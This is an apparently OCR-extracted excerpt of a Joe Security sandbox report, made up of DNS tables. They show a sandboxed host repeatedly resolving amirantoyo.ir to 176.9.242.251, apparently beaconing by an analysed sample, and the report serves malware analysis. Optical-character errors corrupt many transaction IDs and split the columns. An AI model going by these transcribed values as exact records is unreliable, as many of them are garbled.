Jul 20, 2021 8.8.8.8 192.168.2.4 0x6f57 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:41.170036077
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xf081 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:41.622900963
CEST
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Jul 20, 2021 8.8.8.8 192.168.2.4 0xe475 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:42.159601927
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x503b No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:42.686206102
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxd2el No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:43.204224110
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x29d5 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:43.722610950
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x1d36 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:44.217222929
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxaeab No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:44.688673019
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x7306 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:45.215436935
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9ab4 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:45.706026077
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x2797 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:46.217715979
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x9ach No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:46.728903055
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxdefa No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:47.218641996
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x21f3 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:47.715694904
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x932c No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:48.242578983
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxa62d No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:48.757088900
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x6987 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:49.249492884
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x6¢f5 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:49.754684925
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x4f5b No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:50.282866955
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5a89 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:50.815109015
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xch66 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:51.306452990
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xfOc No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:51.790977955
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxed5f No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:52.275310040
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x7e5b No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:52.848618031
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x4829 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:53.705729961
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x3c6e No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:55.506110907
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxed01 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:56.036370039
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x959a No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:39:56.559226036
CEST
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Timestamp Source IP

Jul 20, 2021 8.8.8.8
18:39:57.109667063
CEST

Jul 20, 2021 8.8.8.8
18:39:57.633013010
CEST

Jul 20, 2021 8.8.8.8
18:39:58.195796013
CEST

Jul 20, 2021 8.8.8.8
18:39:58.692642927
CEST

Jul 20, 2021 8.8.8.8
18:39:59.195084095
CEST

Jul 20, 2021 8.8.8.8
18:39:59.699969053
CEST

Jul 20, 2021 8.8.8.8
18:40:00.178050041
CEST

Jul 20, 2021 8.8.8.8
18:40:00.704835892
CEST

Jul 20, 2021 8.8.8.8
18:40:01.203182936
CEST

Jul 20, 2021 8.8.8.8
18:40:01.746253014
CEST

Jul 20, 2021 8.8.8.8
18:40:02.233606100
CEST

Jul 20, 2021 8.8.8.8
18:40:02.721894979
CEST

Jul 20, 2021 8.8.8.8
18:40:03.254813910
CEST

Jul 20, 2021 8.8.8.8
18:40:03.802149057
CEST

Jul 20, 2021 8.8.8.8
18:40:04.314670086
CEST

Jul 20, 2021 8.8.8.8
18:40:04.794220924
CEST

Jul 20, 2021 8.8.8.8
18:40:05.270636082
CEST

Jul 20, 2021 8.8.8.8
18:40:05.790976048
CEST

Jul 20, 2021 8.8.8.8
18:40:06.275372982
CEST

Jul 20, 2021 8.8.8.8
18:40:06.807137012
CEST

Jul 20, 2021 8.8.8.8
18:40:07.325263977
CEST

Jul 20, 2021 8.8.8.8
18:40:07.845144987
CEST

Jul 20, 2021 8.8.8.8
18:40:08.361538887
CEST

Jul 20, 2021 8.8.8.8
18:40:09.036684990
CEST

Jul 20, 2021 8.8.8.8
18:40:09.521475077
CEST

Jul 20, 2021 8.8.8.8
18:40:10.012782097
CEST

Copyright Joe Security LLC 2021

Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

0x355a

0x276¢

Ox21da

0xe92b

0x64c8

0x37fb

0x5358

0x354c

0x5d77

Ox4b8f

0x6a58

0xc039

0x2711

0xd45e

0x7867

0x24a9

Oxa644

Oxca70

Ox5ad9

0x2317

0xb552

0xal30

0x61e7

Oxaa85

0x111b

0x59cf

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

CName

Address
176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Jul 20, 2021 8.8.8.8
18:40:10.499871016
CEST

Jul 20, 2021 8.8.8.8
18:40:11.041650057
CEST

Jul 20, 2021 8.8.8.8
18:40:11.877314091
CEST

Jul 20, 2021 8.8.8.8
18:40:12.758271933
CEST

Jul 20, 2021 8.8.8.8
18:40:14.057796001
CEST

Jul 20, 2021 8.8.8.8
18:40:14.552510977
CEST

Jul 20, 2021 8.8.8.8
18:40:15.059086084
CEST

Jul 20, 2021 8.8.8.8
18:40:15.621016026
CEST

Jul 20, 2021 8.8.8.8
18:40:16.125153065
CEST

Jul 20, 2021 8.8.8.8
18:40:16.562756062
CEST

Jul 20, 2021 8.8.8.8
18:40:17.037962914
CEST

Jul 20, 2021 8.8.8.8
18:40:17.505337000
CEST

Jul 20, 2021 8.8.8.8
18:40:18.002902031
CEST

Jul 20, 2021 8.8.8.8
18:40:18.470876932
CEST

Jul 20, 2021 8.8.8.8
18:40:18.961052895
CEST

Jul 20, 2021 8.8.8.8
18:40:19.488645077
CEST

Jul 20, 2021 8.8.8.8
18:40:19.998600006
CEST

Jul 20, 2021 8.8.8.8
18:40:20.481709957
CEST

Jul 20, 2021 8.8.8.8
18:40:20.985326052
CEST

Jul 20, 2021 8.8.8.8
18:40:21.509673119
CEST

Jul 20, 2021 8.8.8.8
18:40:22.052895069
CEST

Jul 20, 2021 8.8.8.8
18:40:22.549670935
CEST

Jul 20, 2021 8.8.8.8
18:40:23.048316002
CEST

Jul 20, 2021 8.8.8.8
18:40:23.545480967
CEST

Jul 20, 2021 8.8.8.8
18:40:24.265619993
CEST

Jul 20, 2021 8.8.8.8
18:40:24.811753988
CEST

Copyright Joe Security LLC 2021

Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

0x93be

0xbd97

Oxald3

0x4181

Oxead2

0x8e42

Oxe3le

0x2945

0xcf00

Oxfd4c

Oxe6a2

0xcO4c

0x9f8d

0xe775

0xf42d

Oxfaf2

0x595

Oxe22b

0xf918

0x497c

Oxb64a

0x363a

0x1223

0x383a

Oxdaf6

0xc4c6

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

CName

Address
176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0Xx0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Jul 20, 2021 8.8.8.8
18:40:25.319164991
CEST

Jul 20, 2021 8.8.8.8
18:40:25.812856913
CEST

Jul 20, 2021 8.8.8.8
18:40:26.313863993
CEST

Jul 20, 2021 8.8.8.8
18:40:26.802256107
CEST

Jul 20, 2021 8.8.8.8
18:40:27.336029053
CEST

Jul 20, 2021 8.8.8.8
18:40:27.807931900
CEST

Jul 20, 2021 8.8.8.8
18:40:28.482006073
CEST

Jul 20, 2021 8.8.8.8
18:40:28.987257004
CEST

Jul 20, 2021 8.8.8.8
18:40:29.476460934
CEST

Jul 20, 2021 8.8.8.8
18:40:29.976092100
CEST

Jul 20, 2021 8.8.8.8
18:40:30.490183115
CEST

Jul 20, 2021 8.8.8.8
18:40:31.014091969
CEST

Jul 20, 2021 8.8.8.8
18:40:31.546365976
CEST

Jul 20, 2021 8.8.8.8
18:40:32.073050022
CEST

Jul 20, 2021 8.8.8.8
18:40:32.600306988
CEST

Jul 20, 2021 8.8.8.8
18:40:33.136806011
CEST

Jul 20, 2021 8.8.8.8
18:40:33.675869942
CEST

Jul 20, 2021 8.8.8.8
18:40:34.210870028
CEST

Jul 20, 2021 8.8.8.8
18:40:34.726047993
CEST

Jul 20, 2021 8.8.8.8
18:40:35.244872093
CEST

Jul 20, 2021 8.8.8.8
18:40:35.760484934
CEST

Jul 20, 2021 8.8.8.8
18:40:36.297247887
CEST

Jul 20, 2021 8.8.8.8
18:40:36.840889931
CEST

Jul 20, 2021 8.8.8.8
18:40:37.407677889
CEST

Jul 20, 2021 8.8.8.8
18:40:37.910408020
CEST

Jul 20, 2021 8.8.8.8
18:40:38.425031900
CEST

Copyright Joe Security LLC 2021

Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

0xd51b

0x200d

Oxe421

0x47fa

0x286b

Ox2ec7

0x6618

0x60d8

0x7b38

0x455b

0xd8e8

Oxc26a

0x93c2

0x6elb

0xdc08

0xd585

0x59ba

0x704f

Oxba43

0x3al9

0x359b

0x8299

0xb5bb

0xf575

Oxladd

Ox4e7c

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

CName

Address
176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0Xx0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Jul 20, 2021 8.8.8.8
18:40:38.946073055
CEST

Jul 20, 2021 8.8.8.8
18:40:39.480109930
CEST

Jul 20, 2021 8.8.8.8
18:40:40.029005051
CEST

Jul 20, 2021 8.8.8.8
18:40:40.571305990
CEST

Jul 20, 2021 8.8.8.8
18:40:41.101599932
CEST

Jul 20, 2021 8.8.8.8
18:40:41.614571095
CEST

Jul 20, 2021 8.8.8.8
18:40:42.158485889
CEST

Jul 20, 2021 8.8.8.8
18:40:42.708698034
CEST

Jul 20, 2021 8.8.8.8
18:40:43.335371017
CEST

Jul 20, 2021 8.8.8.8
18:40:43.859592915
CEST

Jul 20, 2021 8.8.8.8
18:40:44.421969891
CEST

Jul 20, 2021 8.8.8.8
18:40:44.947308064
CEST

Jul 20, 2021 8.8.8.8
18:40:45.466597080
CEST

Jul 20, 2021 8.8.8.8
18:40:45.951235056
CEST

Jul 20, 2021 8.8.8.8
18:40:46.522448063
CEST

Jul 20, 2021 8.8.8.8
18:40:47.050380945
CEST

Jul 20, 2021 8.8.8.8
18:40:47.589095116
CEST

Jul 20, 2021 8.8.8.8
18:40:48.083414078
CEST

Jul 20, 2021 8.8.8.8
18:40:48.637809038
CEST

Jul 20, 2021 8.8.8.8
18:40:49.160784006
CEST

Jul 20, 2021 8.8.8.8
18:40:49.687690973
CEST

Jul 20, 2021 8.8.8.8
18:40:50.238066912
CEST

Jul 20, 2021 8.8.8.8
18:40:50.746378899
CEST

Jul 20, 2021 8.8.8.8
18:40:51.278672934
CEST

Jul 20, 2021 8.8.8.8
18:40:51.825316906
CEST

Jul 20, 2021 8.8.8.8
18:40:52.365200043
CEST
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Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

0xel73

0x8531

0x4fe9

0xbf09

Oxeal4d

ox7f

0x621b

oxf27c

0xch91

Ox424f

0xb517

0x4ffo

0x2b77

0x943d

0x94d7

Oxc2ch

0xc7f5

0xc813

0x5445

0xc89a

0x6d78

Oxcbb3

Ox5eea

Ox2a

0x3bbc

0x40cd

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

CName

Address
176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 20, 2021 8.8.8.8 192.168.2.4 0x47e6 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:52.917488098
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x279a No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:53.422656059
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxaa02 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:53.944483042
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xe83a No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:54.421156883
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x83f6 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:54.909383059
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5d0c No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:55.409326077
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x98f2 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:55.925601006
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0Oxe65f No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:56.469496965
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xf8a2 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:56.960470915
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x94el No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:57.399350882
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxde37 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:57.838462114
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x83b6 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:58.276119947
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Ox66ac No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:58.720573902
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xe526 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:59.176440954
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x49ch No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:40:59.626863003
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxeba4 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:41:00.089386940
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x505 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:41:00.537184000
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xfa92 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:41:00.996190071
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x5877 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:41:01.445602894
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 OxeaOf No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:41:01.896307945
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x36¢9 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:41:02.343554020
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxcabe No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:41:02.781385899
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0xb37e Noerror (0)  amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:41:03.227339983
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxbcbe No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:41:03.681193113
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 Oxbdf6 No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:41:04.148988008
CEST

Jul 20, 2021 8.8.8.8 192.168.2.4 0x72f No error (0) amirantoyo.ir 176.9.242.251 A (IP address)  IN (0x0001)
18:41:04.581847906
CEST
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Timestamp Source IP

Jul 20, 2021 8.8.8.8
18:41:05.032738924
CEST

Jul 20, 2021 8.8.8.8
18:41:05.493364096
CEST

Jul 20, 2021 8.8.8.8
18:41:05.957726955
CEST

Jul 20, 2021 8.8.8.8
18:41:06.406688929
CEST

Jul 20, 2021 8.8.8.8
18:41:06.853868961
CEST

Jul 20, 2021 8.8.8.8
18:41:07.321650982
CEST

Jul 20, 2021 8.8.8.8
18:41:07.771486998
CEST

Jul 20, 2021 8.8.8.8
18:41:08.230367899
CEST

Jul 20, 2021 8.8.8.8
18:41:08.663260937
CEST

Jul 20, 2021 8.8.8.8
18:41:09.097572088
CEST

Jul 20, 2021 8.8.8.8
18:41:09.582003117
CEST

Jul 20, 2021 8.8.8.8
18:41:10.049180031
CEST

Jul 20, 2021 8.8.8.8
18:41:10.517868042
CEST

Jul 20, 2021 8.8.8.8
18:41:11.013948917
CEST

Jul 20, 2021 8.8.8.8
18:41:11.466195107
CEST

Jul 20, 2021 8.8.8.8
18:41:11.892977953
CEST

Jul 20, 2021 8.8.8.8
18:41:12.368853092
CEST

Jul 20, 2021 8.8.8.8
18:41:12.827312946
CEST

Jul 20, 2021 8.8.8.8
18:41:13.292889118
CEST

Jul 20, 2021 8.8.8.8
18:41:13.717365980
CEST

HTTP Request Dependenc

e amirantoyo.ir

HTTP Packets

Session ID Source IP

Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

y Graph

Trans ID

Oxdead

0x735d

0x84ba

0x560e

Oxc22a

0Oxc6ba

0x9dec

0x8b1

0x8cch

0x10f3

0x970e

Oxa52a

Oxa9ea

Oxecf4

0x3cc

0x9e4

0x470b

Ox5fdc

0xa04b

Oxbada

Source Port

0 192.168.2.4 49773

Copyright Joe Security LLC 2021

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

